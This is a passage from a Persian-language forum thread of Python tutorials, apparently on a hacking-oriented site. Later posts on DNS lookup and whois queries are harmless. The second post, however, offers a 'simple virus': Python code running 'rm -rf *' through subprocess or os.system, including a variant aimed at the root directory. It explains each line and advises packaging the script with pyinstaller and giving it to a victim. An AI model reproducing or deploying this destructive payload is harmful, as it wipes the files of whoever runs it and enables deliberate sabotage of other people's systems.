پرش به

  • تبلیغات تبلیغات تبلیغات تبلیغات تبلیغات تبلیغات
    تصویر

    تایپیک تجزیه تحلیل برنامه های پایتون

    پایتون آموزش پایتون برنامه پایتون

    • لطفا وارد حساب کاربری خود شوید تا بتوانید پاسخ دهید
    4 پاسخ برای این موضوع

    #1

    Mr.Python

    با سلام

     

     

    در این تایپیک قصد داریم ان شاالله سورس کد های برنامه هایی

     

    که به زبان پایتون نوشته شده اند را بررسی کنیم.

     

    این برنامه ها میتوانند دست نوشته خودتان یا دیگران باشند.

     

    کد های برنامه ها تا انجا که در فهم بنده حقیر و اساتید عزیز باشد

     

    به امید خدا بررسی خواهد شد و نتیجه قرار داده می شود.

     

     

    قوانین تایپیک:

     

    1. اگر میدانید برنامه با چه نسخه ای از پایتون ساخته شده حتما آنرا بیان کنید.

    2. هیچ گونه بی احترامی و توهین جایز نیست.

    3. منبع سورس کد را حتما قید کنید.

    4.برای تشکر به هیچ وجه پست ندهید و فقط از گزینه 'تشکر' استفاده کنید.

     

     

     

     

     

     


    • REX, Mafia_IR, virtual_hate و 3 فرد دیگراز این پست تشکر کرده است

    #2

    Mr.Python
    در لینجا اسکریپت ساده ای از ماژول subprocess رو میبینید که در واقع اگر به یک سیستم عامل لینوکسی داده بشه تمام فایل های موجود در مسیر کنونی اسکریپت رو پاک میکنه.( یک نوع ویروس ساده)
    هم روی پایتون ۲ و هم پایتون ۳ کار میکنه.
    #!/usr/bin/env python

    import subprocess


    subprocess.call('rm -rf *', shell=True) #example


    اگر تمایل داشته باشید میتونید مسیر رو عوض کنید.

    subprocess.call("cd root; rm -rf *", shell=True) #example

    یا میتونید از ماژول os استفاده کنید :

    import os

    os.system('rm -rf *') #example

    در خط اول برنامه مسیر مفسر پایتون رو فراخوانی کردیم .
    در خط دوم ماژول subprocess که مخصوص دستورات خط فرمان هست داخل برنامه چسبوندیم و تمام محتویات ماژول رو داخل برنامه ریختیم.

    در خط اخر از ماژول subprocess ، تابع ساخته شده دراون به نام call. که دستورات شل بیسیک رو اجرا میکنه فراخوانی کردیم.

    دو ارگومان داخل تابع call باید تنظیم بشه که اولی دستور ویروسه .
    در دومین ارگومان :مقدار shell رو برابر True قرار دادیم تا سیستم عامل به اسکریپت اجازه ی اجرای دستورات شل رو بده . در غیر اینصورت هیچ دستور شلی یافت نمیشه ( در اسکریپت دستورات شل پاک میشن و خطای no such file رو دریافت میکنید) -- فایل همان فایل محتویات دستورات هست.

    تابع call فقط همین دو ارگومان رو میگیره.

    تابع system هم مانند تابع call عمل میکنه و دستورات شل رو اجرا میکنه.
    اسکریپت رو با کتابخانه pyinstaller به فایل run لینوکس تبدیل کنید و به قربانی بدید .

    اسکریپت ها در پست بعدی.
    • REX, Mafia_IR, virtual_hate و 3 فرد دیگراز این پست تشکر کرده است

    #3

    Mr.Python
    اسکریپت کد های بالا برای تبدیل به فایل اجرایی پیوست شد.

    فایل های پیوستی


    • REX, Mafia_IR, virtual_hate و 3 فرد دیگراز این پست تشکر کرده است

    #4

    Mr.Python
    سلام

    خب تو مرحله های اول و مقدماتی هستیم

    کد زیر ای پی یک سایت رو پیدا میکنه و در اسم address اون رو ذخیره میکنه
    میتونید برنامش کنید و در هر دو نسخه پایتون کار میکنه

    ماژول socket رو راه میندازیم

    خب اول مسیر مفسر رو درخط اول برنامه که shebang نامیده میشه ، وارد میکنیم .
    #!/python27
    ماژول socket روایمپورت میکنیم برای استفاده از توابع ، دستورات و کلاس های این ماژول .

    import socket

    حالا کد اصلی رو مینویسیم :

    address = socket.gethostbyname('yahoo.com') # basic code

    تابع gethostbyneme رو از ماژول socket فراخوانی کردیم و مقدار سایت رو در پرانتز قرار دادیم تا برنامه از ماژول socket اول تابع ذکر شده رو فراخوانی کنه و سایت رو به تابع بده و تابع هم بوسیله برقراری ارتباط با سرورسایت ای پی رو در اسم address ذخیره کنه .

    برای نمایش ای پی از دستور پرینت استفاده میکنیم تا خروجی اسم رو نشون بده:

    print address

    میتونیم یذره تنوع به خرج بدیم

    #!/python27

    from socket import gethostbyname

    print "Enter The URL :\n"

    URL = raw_input("@> ") # example

    addr = gethostbyname(URL)

    print "IP :",addr

    خطا ها رو میتونید except بزنید.
    • Mafia_IR, virtual_hate و alizombie از این پست تشکر شده است

    #5

    Mr.Python
    در این بخش میخوایم از یک سایت با پایتون whois بگیریم و محتویات سایت رو نمایش بدیم :

    خب مفسر را اجرا کنید :
    در پایتون 2:

    python
    یا python2.7 :)


    خب دستور نصب ماژول whois رو در پوسته cmd یا ترمینال جدید وارد کنید:

    pip install whois

    خب حالا این ماژول رو در مفسر ایمپورت کنیم

    import whois

    قطعه کد زیر تابع whois رو از ماژول مورد نظر فراخوانی میکنه و سایت guardiran رو به تابع میده تا ماژول (برنامه) whois در سرور به دنبال سایت مورد نظر بگرده و اطلاعات اونرو در اسم rec_data ذخیره کنه .
    rec_data = whois.whois("guardian.org") #basic e.g

    حالا اطلاعات گرفته شده رو نمایش میدیم :
    n\ : به این معنی هست که اشاره گر بره خط بعدی و با این کار ادامه کلمه Whois اطلاعات سایت نمایش داده نشه بلکه در خط بعدیش نشون داده بشه

    print "Whois : \n", rec_data

    # Print The Contents Of Guardiran

    print " Contents :\n", rec_data.text

    یا میتونید مقدار دلخواه از محتویات رو slice کنیم و نمایش بدیم
    با اینکار تعداد دلخواهی از کاراکتر هارو نمایش میدیم در مثال زیر صد کاراکتر از اول نمایش داده میشه

    print " Contents :\n", rec_data.text[:100] # slicing Contents


    در پایتون ۳

    python3

    import whois

    rec_data ,......

    فقط در دستور پرینت باید هرچی جلوشه داخل پرانتز قرار بدید (ارگومان های الزامی)
    دستور پرینت در پایتون ۳ ، یک تابع هست و به ارگومان های کلیدی نیاز داره.
    • REX, Mafia_IR, virtual_hate و 1 فرد دیگراز این پست تشکر کرده اند





    همچنین به پایتون, آموزش پایتون, برنامه پایتون نیز برچسب خورده است

    0 کاربر در حال خواندن این موضوع است

    0 کاربر، 0 مهمان و 0 عضو مخفی